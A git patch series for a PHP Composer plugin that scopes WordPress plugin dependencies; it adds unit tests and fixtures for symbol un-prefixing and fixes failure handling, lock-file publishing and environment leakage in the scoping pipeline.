b/tests/Unit/SymbolUnprefixerTest.php new file mode 100644 index 0000000..e33acc6 --- /dev/null +++ b/tests/Unit/SymbolUnprefixerTest.php @@ -0,0 +1,232 @@ + + */ + private const CLASSES = array( 'WP', 'PO', 'WP_Post', 'WP_Query', 'WPSEO_Utils_Core' ); + + /** + * @var list + */ + private const NAMESPACES = array( + 'Automattic\\WooCommerce', + 'PHPMailer\\PHPMailer', + 'WpOrg\\Requests', + ); + + private function unprefixer( string $prefix = self::PREFIX ): SymbolUnprefixer { + return new SymbolUnprefixer( $prefix, self::CLASSES, self::NAMESPACES ); + } + + // --- the four cases from the audit ------------------------------------------------------- + + public function test_a_vendor_class_that_merely_starts_with_an_excluded_class_stays_prefixed(): void { + // `WP` is excluded and is a strict string prefix of `WPSEO_Utils`. Anchoring on the + // segment boundary is the whole point. + self::assertSame( + 'new \\Acme\\Deps\\WPSEO_Utils();', + $this->unprefixer()->unprefix( 'new \\Acme\\Deps\\WPSEO_Utils();' ) + ); + } + + public function test_an_excluded_wordpress_class_becomes_global_again(): void { + self::assertSame( + 'new \\WP_Post();', + $this->unprefixer()->unprefix( 'new \\Acme\\Deps\\WP_Post();' ) + ); + } + + public function test_a_use_statement_for_a_vendor_namespace_stays_prefixed(): void { + self::assertSame( + 'use Acme\\Deps\\WPBakery\\Thing;', + $this->unprefixer()->unprefix( 'use Acme\\Deps\\WPBakery\\Thing;' ) + ); + } + + public function test_a_child_of_an_excluded_namespace_becomes_global_again(): void { + // Segment-wise matching: the list holds `Automattic\WooCommerce`, the reference is six + // segments deeper. Whole-string equality would leave it prefixed and fatal HPOS. + $symbol = 'Automattic\\WooCommerce\\Internal\\DataStores\\Orders\\CustomOrdersTableController'; + + self::assertSame( + 'new \\' . $symbol . '();', + $this->unprefixer()->unprefix( 'new \\Acme\\Deps\\' . $symbol . '();' ) + ); + } + + public function test_a_repeated_segment_namespace_becomes_global_again(): void { + self::assertSame( + 'new \\PHPMailer\\PHPMailer\\PHPMailer();', + $this->unprefixer()->unprefix( 'new \\Acme\\Deps\\PHPMailer\\PHPMailer\\PHPMailer();' ) + ); + } + + // --- segment-boundary anchoring ----------------------------------------------------------- + + /** + * @return iterable + */ + public static function symbols(): iterable { + // symbol => should it come out un-prefixed (global)? + yield 'exact excluded class' => array( 'WP_Post', true ); + yield 'excluded class, different case' => array( 'wp_post', true ); + yield 'excluded class, upper case' => array( 'WP_POST', true ); + yield 'excluded single-segment class' => array( 'WP', true ); + yield 'class the excluded one prefixes' => array( 'WP_Posting', false ); + yield 'vendor class starting with WP' => array( 'WPSEO_Utils', false ); + yield 'vendor class starting with PO' => array( 'POStuff', false ); + yield 'vendor ns starting with WP' => array( 'WPSEO\\Utils', false ); + yield 'vendor ns starting with PO' => array( 'POBox\\Mailer', false ); + yield 'excluded class used as a ns' => array( 'WP_Post\\Nested', false ); + yield 'excluded namespace itself' => array( 'Automattic\\WooCommerce', true ); + yield 'excluded namespace child' => array( 'Automattic\\WooCommerce\\Admin', true ); + yield 'excluded namespace grandchild' => array( 'Automattic\\WooCommerce\\Admin\\API\\Reports', true ); + yield 'namespace it is a prefix of' => array( 'Automattic\\WooCommerceBlocks\\Thing', false ); + yield 'sibling of excluded namespace' => array( 'Automattic\\Jetpack\\Thing', false ); + yield 'excluded ns, different case' => array( 'automattic\\woocommerce\\Admin', true ); + yield 'unrelated vendor class' => array( 'Psr\\Log\\LoggerInterface', false ); + } + + #[DataProvider( 'symbols' )] + public function test_it_anchors_on_segment_boundaries( string $symbol, bool $expectedGlobal ): void { + self::assertSame( $expectedGlobal, $this->unprefixer()->isExcluded( $symbol ) ); + + self::assertSame( + $expectedGlobal ? '\\' . $symbol : '\\Acme\\Deps\\' . $symbol, + $this->unprefixer()->unprefix( '\\Acme\\Deps\\' . $symbol ) + ); + } + + #[DataProvider( 'symbols' )] + public function test_it_anchors_on_segment_boundaries_in_use_statements( string $symbol, bool $expectedGlobal ): void { + self::assertSame( + $expectedGlobal ? 'use ' . $symbol . ';' : 'use Acme\\Deps\\' . $symbol . ';', + $this->unprefixer()->unprefix( 'use Acme\\Deps\\' . $symbol . ';' ) + ); + } + + // --- what must never be touched ----------------------------------------------------------- + + public function test_content_without_the_prefix_is_returned_untouched(): void { + $content = "unprefixer()->unprefix( $content ) ); + } + + public function test_a_bare_reference_without_a_leading_separator_is_left_alone(): void { + // `Acme\Deps\WP_Post` with no `\` and no `use` in front is a relative name resolved + // against the current namespace; rewriting it would change what it points at. + self::assertSame( + '$x = Acme\\Deps\\WP_Post::class;', + $this->unprefixer()->unprefix( '$x = Acme\\Deps\\WP_Post::class;' ) + ); + } + + public function test_the_prefix_itself_is_not_stripped_when_nothing_follows_it(): void { + self::assertSame( 'namespace Acme\\Deps;', $this->unprefixer()->unprefix( 'namespace Acme\\Deps;' ) ); + } + + public function test_a_different_prefix_is_ignored(): void { + self::assertSame( + 'new \\Other\\Deps\\WP_Post();', + $this->unprefixer()->unprefix( 'new \\Other\\Deps\\WP_Post();' ) + ); + } + + public function test_it_handles_a_single_segment_prefix(): void { + $unprefixer = new SymbolUnprefixer( 'Acme', self::CLASSES, self::NAMESPACES ); + + self::assertSame( 'new \\WP_Post();', $unprefixer->unprefix( 'new \\Acme\\WP_Post();' ) ); + self::assertSame( 'new \\Acme\\WPSEO_Utils();', $unprefixer->unprefix( 'new \\Acme\\WPSEO_Utils();' ) ); + } + + public function test_an_empty_symbol_set_leaves_everything_prefixed(): void { + $unprefixer = new SymbolUnprefixer( self::PREFIX ); + + self::assertSame( 'new \\Acme\\Deps\\WP_Post();', $unprefixer->unprefix( 'new \\Acme\\Deps\\WP_Post();' ) ); + } + + // --- shapes that occur in real scoped output ---------------------------------------------- + + public function test_it_rewrites_every_occurrence_in_a_file(): void { + $scoped = <<<'PHP' + unprefixer()->unprefix( $scoped ) ); + } + + public function test_a_use_statement_with_extra_whitespace_still_matches(): void { + self::assertSame( "use\n\tWP_Post;", $this->unprefixer()->unprefix( "use\n\tAcme\\Deps\\WP_Post;" ) ); + } + + public function test_invoking_it_is_the_same_as_unprefixing(): void { + $unprefixer = $this->unprefixer(); + + self::assertSame( $unprefixer->unprefix( '\\Acme\\Deps\\WP_Post' ), $unprefixer( '\\Acme\\Deps\\WP_Post' ) ); + } + + public function test_a_prefix_containing_regex_metacharacters_is_quoted(): void { + // Not a legal namespace, but the pattern must never be able to inject into the regex. + $unprefixer = new SymbolUnprefixer( 'A.c', self::CLASSES, self::NAMESPACES ); + + self::assertSame( '\\WP_Post', $unprefixer->unprefix( '\\A.c\\WP_Post' ) ); + self::assertSame( '\\AXc\\WP_Post', $unprefixer->unprefix( '\\AXc\\WP_Post' ) ); + } + + public function test_a_unicode_symbol_is_matched(): void { + $unprefixer = new SymbolUnprefixer( self::PREFIX, array( 'Ünïcode' ) ); + + self::assertSame( '\\Ünïcode', $unprefixer->unprefix( '\\Acme\\Deps\\Ünïcode' ) ); + } +} diff --git a/tests/bootstrap.php b/tests/bootstrap.php new file mode 100644 index 0000000..6f13f73 --- /dev/null +++ b/tests/bootstrap.php @@ -0,0 +1,3 @@ +post_title; + } + + public function query(): WP_Query { + return new WP_Query( array( 'post_type' => 'post' ) ); + } + + public function helper(): WPSEO_Utils { + return new WPSEO_Utils(); + } + + public function alsoRisky(): POStuff { + return new POStuff(); + } +} diff --git a/tests/fixtures/e2e/pkg/acme-lib/src/Integration.php b/tests/fixtures/e2e/pkg/acme-lib/src/Integration.php new file mode 100644 index 0000000..62ebff4 --- /dev/null +++ b/tests/fixtures/e2e/pkg/acme-lib/src/Integration.php @@ -0,0 +1,28 @@ + array( + 'Fixture_Abstract_Widget', + 'Fixture_Final_Widget', + 'Fixture_From_Else', + 'Fixture_From_If', + 'Fixture_Global_From_Braced', + 'Fixture_Guarded', + 'Fixture_Guarded_Alias', + 'Fixture_Namespaced_Alias', + 'Fixture_Renderable', + 'Fixture_Renders', + 'Fixture_Status', + 'Fixture_Widget', + ), + 'exclude-constants' => array( + 'FIXTURE_CONST_A', + 'FIXTURE_CONST_B', + 'FIXTURE_CONST_C', + 'FIXTURE_DEEPLY_DEFINED', + 'FIXTURE_DEFINED_IN_BRACED_GLOBAL', + 'FIXTURE_DEFINED_IN_FUNCTION', + 'FIXTURE_DEFINED_IN_NAMESPACE', + 'FIXTURE_DEFINED_TOP_LEVEL', + 'FIXTURE_GLOBAL_FROM_BRACED', + ), + 'exclude-functions' => array( + 'fixture_cdata', + 'fixture_export', + 'fixture_global_from_braced', + 'fixture_guarded_function', + 'fixture_initial_constants', + 'fixture_render_widget', + ), + 'exclude-namespaces' => array( + 'Fixture\\Braced', + 'Fixture\\Vendor\\Feature', + ), +); diff --git a/tests/fixtures/symbols-input/braced-namespaces.php b/tests/fixtures/symbols-input/braced-namespaces.php new file mode 100644 index 0000000..ebb9850 --- /dev/null +++ b/tests/fixtures/symbols-input/braced-namespaces.php @@ -0,0 +1,29 @@ +toString()` on + * it unconditionally is a fatal, and the declarations inside it DO belong in the symbol list. + */ + +namespace Fixture\Braced { + + class BracedWidget { + } + + function braced_function(): void { + } +} + +namespace { + + class Fixture_Global_From_Braced { + } + + function fixture_global_from_braced(): void { + } + + const FIXTURE_GLOBAL_FROM_BRACED = 1; + + define( 'FIXTURE_DEFINED_IN_BRACED_GLOBAL', true ); +} diff --git a/tests/fixtures/symbols-input/conditional-declarations.php b/tests/fixtures/symbols-input/conditional-declarations.php new file mode 100644 index 0000000..962ab63 --- /dev/null +++ b/tests/fixtures/symbols-input/conditional-declarations.php @@ -0,0 +1,56 @@ +'; + } +} + +class_alias( 'Fixture_Guarded', 'Fixture_Guarded_Alias' ); + +// A dynamic alias target cannot be resolved and must be skipped. +class_alias( 'Fixture_Guarded', $undefined_alias_name ); diff --git a/tests/fixtures/symbols-input/global-declarations.php b/tests/fixtures/symbols-input/global-declarations.php new file mode 100644 index 0000000..2e03916 --- /dev/null +++ b/tests/fixtures/symbols-input/global-declarations.php @@ -0,0 +1,48 @@ +render(); +} + +// Top-level `const`, as used by the sodium_compat polyfill. +const FIXTURE_CONST_A = 1; +const FIXTURE_CONST_B = 2, FIXTURE_CONST_C = 3; + +define( 'FIXTURE_DEFINED_TOP_LEVEL', true ); + +// An anonymous class has no name and must not be collected. +$anonymous = new class extends Fixture_Widget { +}; + +// A dynamic define() name cannot be resolved and must be skipped rather than guessed at. +define( $anonymous::class . '_DYNAMIC', true ); diff --git a/tests/fixtures/symbols-input/namespaced.php b/tests/fixtures/symbols-input/namespaced.php new file mode 100644 index 0000000..7641617 --- /dev/null +++ b/tests/fixtures/symbols-input/namespaced.php @@ -0,0 +1,33 @@ + Date: Wed, 29 Jul 2026 13:50:23 +0200 Subject: [PATCH 2/6] Fix nine defects found reviewing the remediation Self-review of the previous commit. Two of these were regressions the remediation itself introduced. - Scoper: the workspace was deleted in a `finally`, but a failed deps swap parks the project's previous dependencies in a backup inside it. A failure therefore destroyed the tree the error message told the user to recover from. The workspace is now kept on failure and its path reported. - ScopedTreeInstaller: moveTree() reported a successful cross-filesystem copy as failed when it could not unlink the source, so the caller "restored" the old tree over the new one and left deps/ a merge of both. Copy+verify now counts as success and an uncleaned source only warns. - Plugin: activate() threw on invalid configuration, and Composer does not guard activate(), so a partial extra.wpify-scoper block aborted every command in the project - including the ones needed to fix it. The error is carried and thrown from execute() instead. - ScopedTreeInstaller: publishLock() deleted the project's lock before checking the replacement existed; a scoper.custom.php overriding `finders` could destroy a committed composer-deps.lock. - SymbolUnprefixer, ScopedTreeInstaller: preg_replace() returning null on a PCRE limit was cast to '' and written out, silently emptying a scoped source file or an autoload file. Guarded with `?? $original`, as the patchers in config/scoper.inc.php already were. - Scoper: the nested Composer inherited COMPOSER and COMPOSER_VENDOR_DIR, which point it at the wrong manifest and the wrong vendor dir. Both are cleared for the child and restored afterwards. - ProcessComposerRunner: moving off the in-process Application subjected the pipeline to Composer's 300s process-timeout, killing large installs mid-write. Disabled for these steps and restored. - Configuration: a composerjson without a .json suffix derived a lock path equal to the manifest, so publishing the lock overwrote the manifest. The suffix is appended now, with a hard error if the two still collide. - extract-symbols: a truncated symbol list was written before exiting on a parse error, leaving a corrupt symbols/*.php behind. 166 unit tests, 17 integration tests, PHPStan level 9, all green. Re-verified against the seven consumer projects: all rescope cleanly and all sites serve. --- CHANGELOG.md | 5 ++- README.md | 10 +++--- scripts/extract-symbols.php | 11 +++++- src/Configuration.php | 38 ++++++++++++++++++--- src/Plugin.php | 28 +++++++++++++-- src/ProcessComposerRunner.php | 20 ++++++++--- src/ScopedTreeInstaller.php | 46 ++++++++++++++++++++----- src/Scoper.php | 58 +++++++++++++++++++++++++++++--- src/SymbolUnprefixer.php | 7 ++-- tests/Unit/ConfigurationTest.php | 15 ++++++++- tests/Unit/PluginTest.php | 29 ++++++++++++++++ 11 files changed, 232 insertions(+), 35 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 06287b9..133dd03 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,7 @@ result before shipping it** — several of the fixes below alter which symbols e - **A failed swap could leave a project with no dependencies at all.** The old tree was deleted before the new one was in place. It is now moved aside into the temporary workspace and restored if the move fails, so a full disk or a permissions error can no longer lose the previous build. + A failed run keeps that workspace instead of deleting it, because the backup lives in there. - **Prefix stripping was unanchored and mangled third-party code.** The patcher used a plain `str_replace()` per excluded symbol, so any vendor namespace or class whose name *started* with an excluded WordPress symbol had the prefix stripped off it and was put straight back into the @@ -42,7 +43,9 @@ result before shipping it** — several of the fixes below alter which symbols e present. - **A missing or invalid `prefix` silently did nothing.** `composer install` exited 0, no `deps/` folder appeared, and there was no message. It is now a configuration error with an actionable - message, and the prefix is validated as a PHP namespace. + message, and the prefix is validated as a PHP namespace. It is raised when the pipeline runs, not + while the plugin activates: Composer does not guard plugin activation, so throwing there would + break every command in the project — including the ones needed to fix the configuration. - **`scoper.custom.php` was silently ignored in most installations.** The project root was located by looking for the literal string `vendor/wpify/scoper` in the plugin's own path, which fails for a custom `vendor-dir`, a symlinked path repository and a global install. The root is now taken diff --git a/README.md b/README.md index 2beb7d3..b6168cc 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,7 @@ scoped tree that fatals on the server. | `globals` | all four | Which shipped symbol lists to keep unscoped: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. An unknown name produces a warning and is ignored. | | `composerjson` | `composer-deps.json` | The manifest describing the dependencies to scope. Only ever read, never written. | | `composerlock` | `composerjson` with `.lock` | The lock file for that manifest. Written by the plugin — commit it. | -| `temp` | `tmp-` + random | The scratch workspace. Removed when the run finishes, successfully or not. | +| `temp` | `tmp-` + random | The scratch workspace. Removed when the run succeeds; kept when it fails, because a failed swap parks your previous `deps/` in there. | | `autorun` | `true` | Whether `composer install`/`composer update` also scope. Only a literal `false` turns it off. | ### Running it manually @@ -117,9 +117,9 @@ new \MyNamespaceForDeps\Example\Dependency(); - **`deps/`** — your call. It is a build artifact, so most projects build it in CI (see *Deployment* below) and add it to `.gitignore`. Commit it if you deploy by pushing a git checkout to the server and cannot run Composer there. -- **`tmp-*`** — never. Add `tmp-*` to `.gitignore`; a failed run used to leave one behind, and - while it is now cleaned up in every path, an interrupted process still cannot clean up after - itself. +- **`tmp-*`** — never. Add `tmp-*` to `.gitignore`. A successful run removes its workspace; a + failed one keeps it on purpose, because a swap that could not be completed leaves your previous + `deps/` in there. Delete it once you have recovered whatever you need. ## Deployment @@ -241,7 +241,7 @@ plugin was symlinked in through a path repository. | A WooCommerce or PHPMailer class is not found after scoping | Fixed in 4.0 — namespace exclusions only matched exactly, so children of `Automattic\WooCommerce` and `PHPMailer\PHPMailer` came out prefixed | Upgrade and re-scope. | | Your own vendor library collides with another plugin again after scoping | Fixed in 4.0 — prefix stripping was unanchored, so a vendor namespace starting with an excluded WordPress class name (`WPSEO\…`, `POBox\…`) was put back into the global namespace | Upgrade and re-scope. | | `scoper.custom.php` seems to be ignored | A non-standard `vendor-dir`, or a path-repository install, in a release before 4.0 | Upgrade; then run with `-v` to see which file is loaded. | -| `tmp-XXXXXXXXXX/` left in the project root | The process was killed mid-run | Safe to delete. Add `tmp-*` to `.gitignore`. | +| `tmp-XXXXXXXXXX/` left in the project root | The run failed or was killed mid-run | Check it for a `deps-backup-*` holding your previous `deps/`, then delete it. Add `tmp-*` to `.gitignore`. | | `the Composer binary could not be located` | The pipeline was driven from the deprecated `bin/wpify-scoper` without `composer` on `PATH` | Use `composer wpify-scoper install`, or set `COMPOSER_BINARY`. | | `php-scoper was not found` | `wpify/php-scoper` is missing from the install | Reinstall the plugin. The message lists every path that was tried. | | `already running (WPIFY_SCOPER_RUNNING is set), skipping this nested invocation` | Your `composer-deps.json` also carries an `extra.wpify-scoper` block | Remove it. The scoped manifest must not configure the scoper. | diff --git a/scripts/extract-symbols.php b/scripts/extract-symbols.php index ba5ed7d..1514343 100644 --- a/scripts/extract-symbols.php +++ b/scripts/extract-symbols.php @@ -31,13 +31,22 @@ foreach ( $targets as list( $directory, $relativeTo, $file, $package ) ) { $output = $root . '/symbols/' . $file; $symbols = $extractor->extract( $directory, $relativeTo ); + $errors = $extractor->errors(); - foreach ( $extractor->errors() as $error ) { + foreach ( $errors as $error ) { fwrite( STDERR, 'wpify-scoper: ' . $error . PHP_EOL ); $failed = true; } + // The list this run produced is missing whatever the failing files declared. Writing it would + // leave a truncated symbol table in the working tree, one commit away from scoping WordPress. + if ( array() !== $errors ) { + fwrite( STDERR, sprintf( 'wpify-scoper: %s was left untouched' . PHP_EOL, $output ) ); + + continue; + } + $version = InstalledVersions::isInstalled( $package ) ? ( InstalledVersions::getPrettyVersion( $package ) ?? 'unknown' ) : 'not installed'; diff --git a/src/Configuration.php b/src/Configuration.php index 502261b..16334c5 100644 --- a/src/Configuration.php +++ b/src/Configuration.php @@ -87,11 +87,14 @@ public static function fromExtra( array $extra, string $rootDir, string $vendorD $settings = array(); } + // Validated first: a missing prefix is by far the most common configuration mistake, and it + // is the one the message has to be about. + $prefix = self::validatePrefix( $settings['prefix'] ?? null, $rootDir ); + $folder = self::resolve( $filesystem, $rootDir, self::stringOrNull( $settings['folder'] ?? null ) ?? 'deps' ); $composerJson = self::stringOrNull( $settings['composerjson'] ?? null ) ?? 'composer-deps.json'; - $composerLock = self::stringOrNull( $settings['composerlock'] ?? null ) - ?? preg_replace( '/\.json$/', '.lock', $composerJson ); + $composerLock = self::stringOrNull( $settings['composerlock'] ?? null ) ?? self::deriveLock( $composerJson ); $temp = self::stringOrNull( $settings['temp'] ?? null ) ?? 'tmp-' . bin2hex( random_bytes( 5 ) ); @@ -103,14 +106,26 @@ public static function fromExtra( array $extra, string $rootDir, string $vendorD $globals = array_values( array_map( self::stringOf( ... ), $settings['globals'] ) ); } + $composerJson = self::resolve( $filesystem, $rootDir, $composerJson ); + $composerLock = self::resolve( $filesystem, $rootDir, $composerLock ); + + // The run publishes the generated lock over `composerlock`, so pointing it at the manifest + // would destroy the file the whole dependency set is declared in. + if ( $composerJson === $composerLock ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: extra.wpify-scoper.composerlock points at the manifest %s, which the run would overwrite. Set it to a different file.', + $composerJson + ) ); + } + return new self( rootDir: $rootDir, vendorDir: $filesystem->normalizePath( '' === $vendorDir ? $rootDir . '/vendor' : $vendorDir ), - prefix: self::validatePrefix( $settings['prefix'] ?? null, $rootDir ), + prefix: $prefix, folder: $folder, globals: $globals, - composerJson: self::resolve( $filesystem, $rootDir, $composerJson ), - composerLock: self::resolve( $filesystem, $rootDir, (string) $composerLock ), + composerJson: $composerJson, + composerLock: $composerLock, tempDir: self::resolve( $filesystem, $rootDir, $temp ), // Preserved verbatim from the previous implementation: only a literal `false` opts out. autorun: ! ( array_key_exists( 'autorun', $settings ) && false === $settings['autorun'] ), @@ -165,6 +180,19 @@ private static function validatePrefix( mixed $prefix, string $rootDir ): string return $prefix; } + /** + * The lock file that goes with a manifest. + * + * A manifest that does not end in `.json` gets `.lock` appended rather than substituted: a + * plain `preg_replace()` left the two names identical, and the run publishes the lock over + * whatever `composerlock` names. + */ + private static function deriveLock( string $composerJson ): string { + return str_ends_with( $composerJson, '.json' ) + ? substr( $composerJson, 0, -5 ) . '.lock' + : $composerJson . '.lock'; + } + private static function resolve( Filesystem $filesystem, string $rootDir, string $path ): string { return $filesystem->normalizePath( $filesystem->isAbsolutePath( $path ) ? $path : $rootDir . '/' . $path diff --git a/src/Plugin.php b/src/Plugin.php index 61f7b2d..db93d6b 100644 --- a/src/Plugin.php +++ b/src/Plugin.php @@ -10,6 +10,7 @@ use Composer\Plugin\PluginInterface; use Composer\Script\Event; use Composer\Script\ScriptEvents; +use RuntimeException; class Plugin implements PluginInterface, Capable, EventSubscriberInterface { @@ -34,6 +35,16 @@ class Plugin implements PluginInterface, Capable, EventSubscriberInterface { private ?Configuration $configuration = null; + /** + * The message of the configuration error, when there is one. + * + * Composer does not guard `activate()`, so an exception thrown from there aborts every command + * in the project - including `composer require`, `composer remove` and everything else the user + * would reach for to fix the configuration. The error is therefore carried until the pipeline is + * actually asked to run, which is where it is actionable. + */ + private ?string $configurationError = null; + /** * @return array */ @@ -54,9 +65,16 @@ public function getCapabilities(): array { } public function activate( Composer $composer, IOInterface $io ): void { - $this->composer = $composer; - $this->io = $io; - $this->configuration = Configuration::fromComposer( $composer ); + $this->composer = $composer; + $this->io = $io; + + try { + $this->configuration = Configuration::fromComposer( $composer ); + } catch ( RuntimeException $exception ) { + $this->configurationError = $exception->getMessage(); + + return; + } if ( null === $this->configuration || ! $io->isVerbose() ) { return; @@ -90,6 +108,10 @@ public function path( string ...$parts ): string { } public function execute( Event $event ): void { + if ( null !== $this->configurationError ) { + throw new RuntimeException( $this->configurationError ); + } + if ( null === $this->configuration || null === $this->io ) { return; } diff --git a/src/ProcessComposerRunner.php b/src/ProcessComposerRunner.php index 151fef8..2e5afcd 100644 --- a/src/ProcessComposerRunner.php +++ b/src/ProcessComposerRunner.php @@ -52,10 +52,22 @@ private function run( array $command, string $workingDir ): int { IOInterface::VERBOSE ); - // executeTty() keeps the child attached to the terminal when there is one - progress bars - // and authentication prompts keep working - and falls back to a piped run that streams - // into $io and captures stderr when there is not (CI). - return $this->process->executeTty( $command, $workingDir ); + // Composer's process-timeout (300 seconds by default) is sized for the git and network + // commands it shells out to. A nested install plus a php-scoper pass over a real dependency + // tree routinely takes longer, and being killed halfway through leaves the project with a + // half-written scoped tree. The steps used to run in-process, where no timeout applied. + $timeout = ProcessExecutor::getTimeout(); + + ProcessExecutor::setTimeout( 0 ); + + try { + // executeTty() keeps the child attached to the terminal when there is one - progress + // bars and authentication prompts keep working - and falls back to a piped run that + // streams into $io and captures stderr when there is not (CI). + return $this->process->executeTty( $command, $workingDir ); + } finally { + ProcessExecutor::setTimeout( $timeout ); + } } /** diff --git a/src/ScopedTreeInstaller.php b/src/ScopedTreeInstaller.php index 3c4535e..c0c48d3 100644 --- a/src/ScopedTreeInstaller.php +++ b/src/ScopedTreeInstaller.php @@ -43,16 +43,22 @@ private function fixAutoloadStatic( string $destination ): void { // The key has to stay a plain identifier, so everything that is not alphanumeric goes. $keyPrefix = strtolower( (string) preg_replace( '/[^a-zA-Z0-9]/', '', $this->config->prefix ) ); + $contents = $this->read( $path ); + // Only inside the $files array: the same key pattern also matches a $classMap entry for a // single-segment global class name (`'Requests' => ...`), and prefixing that breaks the map. - $this->write( $path, (string) preg_replace_callback( + // + // `?? $matches[0]` / `?? $contents` because preg_replace() returns null when PCRE gives up, + // and writing that as a string would truncate the autoloader of the whole scoped tree to + // nothing rather than leave a key unprefixed. + $this->write( $path, preg_replace_callback( '/public\s+static\s+\$files\s*=\s*array\s*\(.*?\n\s*\);/s', static function ( array $matches ) use ( $keyPrefix ): string { - return (string) preg_replace( "/'([[:alnum:]]+)'(\s*=>)/", "'" . $keyPrefix . "\$1'\$2", $matches[0] ); + return preg_replace( "/'([[:alnum:]]+)'(\s*=>)/", "'" . $keyPrefix . "\$1'\$2", $matches[0] ) ?? $matches[0]; }, - $this->read( $path ), + $contents, 1 - ) ); + ) ?? $contents ); } /** @@ -62,16 +68,32 @@ private function neutraliseExposedSymbols( string $destination ): void { $path = $this->path( $destination, 'vendor', 'scoper-autoload.php' ); $autoload = $this->read( $path ); - $autoload = (string) preg_replace( '/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $autoload ); - $autoload = (string) preg_replace( '/^if \(!function_exists\(.*}$/m', '// $0 // commented by WPify Scoper', $autoload ); + // `?? $autoload` because preg_replace() returns null when PCRE gives up, and an empty + // scoper-autoload.php takes the whole scoped tree down with it. + $autoload = preg_replace( '/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $autoload ) ?? $autoload; + $autoload = preg_replace( '/^if \(!function_exists\(.*}$/m', '// $0 // commented by WPify Scoper', $autoload ) ?? $autoload; $this->write( $path, $autoload ); } private function publishLock( string $destination ): void { + $lock = $this->path( $destination, 'composer.lock' ); + + // Checked before the existing lock is touched: removing it first and only then finding out + // there is nothing to put in its place loses the file the project committed. + if ( ! is_file( $lock ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: the scoped run produced no %s, keeping %s as it is.', + $lock, + $this->config->composerLock + ) ); + } + + // remove() rather than letting copy() overwrite: the destination may be a symlink, and + // writing through it would clobber whatever it points at. $this->remove( $this->config->composerLock ); - if ( ! @copy( $this->path( $destination, 'composer.lock' ), $this->config->composerLock ) ) { + if ( ! @copy( $lock, $this->config->composerLock ) ) { throw new RuntimeException( sprintf( 'wpify-scoper: cannot write %s.', $this->config->composerLock ) ); } } @@ -123,6 +145,10 @@ private function swapDepsFolder( string $destination ): void { /** * Moves a tree, falling back to copy + verify + delete when rename() cannot do it * (different filesystems report EXDEV, Windows fails on locked files). + * + * Success means the destination holds the tree. Failing to delete the source afterwards is a + * leftover, not a failed move: reporting it as one made the caller "restore" a backup on top of + * the tree it had just installed, which left the deps folder as a mix of both. */ private function moveTree( string $from, string $to ): bool { if ( @rename( $from, $to ) ) { @@ -135,7 +161,11 @@ private function moveTree( string $from, string $to ): bool { return false; } - return $this->remove( $from ); + if ( ! $this->remove( $from ) ) { + $this->warn( sprintf( 'cannot remove %s after copying it to %s', $from, $to ) ); + } + + return true; } /** diff --git a/src/Scoper.php b/src/Scoper.php index 582c8f3..f17c452 100644 --- a/src/Scoper.php +++ b/src/Scoper.php @@ -9,6 +9,7 @@ use OutOfBoundsException; use RuntimeException; use stdClass; +use Throwable; /** * Drives the scoping pipeline: nested install, php-scoper, dump-autoload, fixups. @@ -63,6 +64,8 @@ public function run( string $command, bool $useDevDependencies ): int { $destination = $this->config->destinationDir(); $scoper = $this->phpScoperPhar(); + $inherited = $this->clearInheritedEnv(); + Platform::putEnv( self::RUNNING_ENV, '1' ); try { @@ -106,17 +109,62 @@ public function run( string $command, bool $useDevDependencies ): int { ( new ScopedTreeInstaller( $this->config, $this->io ) )->install( $destination ); + $this->removeTempDir(); + return 0; + } catch ( Throwable $throwable ) { + // The temp folder is deliberately kept: a failed swap leaves the project's previous + // dependencies in a backup inside it, and deleting it here would destroy the very tree + // the error message tells the user how to recover. + $this->io->writeError( sprintf( + 'wpify-scoper: the run failed, the workspace %s was kept - remove it once you no longer need it.', + $this->config->tempDir + ) ); + + throw $throwable; } finally { Platform::clearEnv( self::RUNNING_ENV ); - if ( is_dir( $this->config->tempDir ) && ! $this->filesystem->removeDirectory( $this->config->tempDir ) ) { - $this->io->writeError( sprintf( - 'wpify-scoper: cannot remove the temporary folder %s', - $this->config->tempDir - ) ); + foreach ( $inherited as $name => $value ) { + Platform::putEnv( $name, $value ); + } + } + } + + /** + * Drops the environment variables that would send the nested Composer somewhere else. + * + * `COMPOSER` names the manifest file Composer reads, so it would look for the project's + * composer-deps.json inside the temp workspace; `COMPOSER_VENDOR_DIR` names the directory it + * installs into, and php-scoper's finder only ever looks at the workspace's own vendor/. Both + * are inherited by the child process, which is how a run that works everywhere else fails for + * the one developer who exports them. + * + * @return array The values to put back afterwards. + */ + private function clearInheritedEnv(): array { + $saved = array(); + + foreach ( array( 'COMPOSER', 'COMPOSER_VENDOR_DIR' ) as $name ) { + $value = Platform::getEnv( $name ); + + if ( is_string( $value ) && '' !== $value ) { + $saved[ $name ] = $value; + + Platform::clearEnv( $name ); } } + + return $saved; + } + + private function removeTempDir(): void { + if ( is_dir( $this->config->tempDir ) && ! $this->filesystem->removeDirectory( $this->config->tempDir ) ) { + $this->io->writeError( sprintf( + 'wpify-scoper: cannot remove the temporary folder %s', + $this->config->tempDir + ) ); + } } public static function isRunning(): bool { diff --git a/src/SymbolUnprefixer.php b/src/SymbolUnprefixer.php index fbed631..d83cf73 100644 --- a/src/SymbolUnprefixer.php +++ b/src/SymbolUnprefixer.php @@ -63,13 +63,16 @@ public function unprefix( string $content ): string { return $content; } - return (string) preg_replace_callback( + // `?? $content` because preg_replace_callback() returns null when PCRE gives up. Casting + // that to string would hand php-scoper an empty file, which is far worse than a symbol left + // prefixed: the scoped tree would be missing the class altogether. + return preg_replace_callback( $this->pattern, function ( array $matches ): string { return $this->isExcluded( (string) $matches[2] ) ? $matches[1] . $matches[2] : $matches[0]; }, $content - ); + ) ?? $content; } /** diff --git a/tests/Unit/ConfigurationTest.php b/tests/Unit/ConfigurationTest.php index 46c2e27..59cf808 100644 --- a/tests/Unit/ConfigurationTest.php +++ b/tests/Unit/ConfigurationTest.php @@ -176,7 +176,9 @@ public static function lockDerivations(): iterable { yield 'custom name' => array( 'scoped.json', 'scoped.lock' ); yield 'nested' => array( 'build/scoped.json', 'build/scoped.lock' ); yield 'json in the middle' => array( 'my.json.deps.json', 'my.json.deps.lock' ); 